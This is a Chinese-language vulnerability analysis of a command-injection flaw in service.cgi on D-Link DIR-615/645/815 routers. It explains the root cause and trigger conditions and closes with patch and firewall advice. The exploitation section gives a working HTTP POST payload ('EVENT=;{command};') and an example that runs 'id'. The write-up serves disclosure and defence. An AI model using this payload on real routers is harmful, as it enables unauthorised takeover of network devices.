D-Link DIR 615/645/815 service.cgi远程命令执行漏洞
字数 908 2025-08-29 22:41:32

D-Link DIR 615/645/815 service.cgi远程命令执行漏洞分析

漏洞概述

D-Link DIR-615、DIR-645和DIR-815系列路由器存在一个严重的远程命令执行漏洞,该漏洞存在于service.cgi组件中,允许攻击者通过构造特殊的HTTP请求在设备上执行任意命令。

漏洞影响版本

  • DIR-615 1.03及之前版本
  • DIR-645 1.03及之前版本
  • DIR-815 1.03及之前版本

漏洞分析

固件获取

可以从官方固件仓库下载受影响版本的固件:

Index of /pub/Router/DIR-815/Firmware/RevA

固件分析工具

使用binwalk工具进行固件分析:

binwalk -Me firmware.bin

漏洞定位

  1. 分析发现漏洞存在于htdocs目录下的cgibin文件中
  2. 关键函数为servicecgi_main,该函数检查传入的第一个参数argv[0]
  3. 函数会根据请求方式(GET/POST)进行不同处理

漏洞触发条件

  1. 必须使用POST请求方式(GET请求不会进入存在漏洞的分支)
  2. 需要设置正确的CONTENT_TYPE头:
    application/x-www-form-urlencoded
    

漏洞原理

  1. 程序对用户输入的环境变量EVENT参数未进行充分过滤
  2. 攻击者可以通过在EVENT参数中插入特殊字符(如分号)来拼接命令
  3. 最终通过system()函数执行拼接后的命令

关键代码分析

  1. 程序首先调用cgibin_parse_request函数处理请求
  2. 对URL进行分割,获取问号后的参数(v12)
  3. 进一步分割参数,检查是否存在=&
  4. 比较CONTENT_TYPE环境变量:
    • 前0xc字节匹配application/
    • 后面0x15字节匹配x-www-form-urlencoded
  5. 当匹配到EVENT字符串时,会将参数值拼接进system函数执行

漏洞利用

利用方式

构造如下形式的POST请求:

POST /service.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

EVENT=;{command};

其中{command}替换为要执行的任意命令。

利用示例

执行id命令:

POST /service.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

EVENT=;id;

修复建议

  1. 升级到最新固件版本(1.03之后版本)
  2. 在无法升级的情况下,可以考虑:
    • 禁用远程管理功能
    • 配置防火墙规则限制对路由器的访问
    • 修改默认管理密码

参考链接

  • 国家信息安全漏洞共享平台官方报告
  • D-Link官方安全公告
D-Link DIR 615/645/815 service.cgi远程命令执行漏洞分析 漏洞概述 D-Link DIR-615、DIR-645和DIR-815系列路由器存在一个严重的远程命令执行漏洞,该漏洞存在于service.cgi组件中,允许攻击者通过构造特殊的HTTP请求在设备上执行任意命令。 漏洞影响版本 DIR-615 1.03及之前版本 DIR-645 1.03及之前版本 DIR-815 1.03及之前版本 漏洞分析 固件获取 可以从官方固件仓库下载受影响版本的固件: 固件分析工具 使用binwalk工具进行固件分析: 漏洞定位 分析发现漏洞存在于htdocs目录下的cgibin文件中 关键函数为 servicecgi_main ,该函数检查传入的第一个参数 argv[0] 函数会根据请求方式(GET/POST)进行不同处理 漏洞触发条件 必须使用POST请求方式(GET请求不会进入存在漏洞的分支) 需要设置正确的 CONTENT_TYPE 头: 漏洞原理 程序对用户输入的环境变量 EVENT 参数未进行充分过滤 攻击者可以通过在 EVENT 参数中插入特殊字符(如分号)来拼接命令 最终通过 system() 函数执行拼接后的命令 关键代码分析 程序首先调用 cgibin_parse_request 函数处理请求 对URL进行分割,获取问号后的参数(v12) 进一步分割参数,检查是否存在 = 和 & 比较 CONTENT_TYPE 环境变量: 前0xc字节匹配 application/ 后面0x15字节匹配 x-www-form-urlencoded 当匹配到 EVENT 字符串时,会将参数值拼接进 system 函数执行 漏洞利用 利用方式 构造如下形式的POST请求: 其中 {command} 替换为要执行的任意命令。 利用示例 执行 id 命令: 修复建议 升级到最新固件版本(1.03之后版本) 在无法升级的情况下,可以考虑: 禁用远程管理功能 配置防火墙规则限制对路由器的访问 修改默认管理密码 参考链接 国家信息安全漏洞共享平台官方报告 D-Link官方安全公告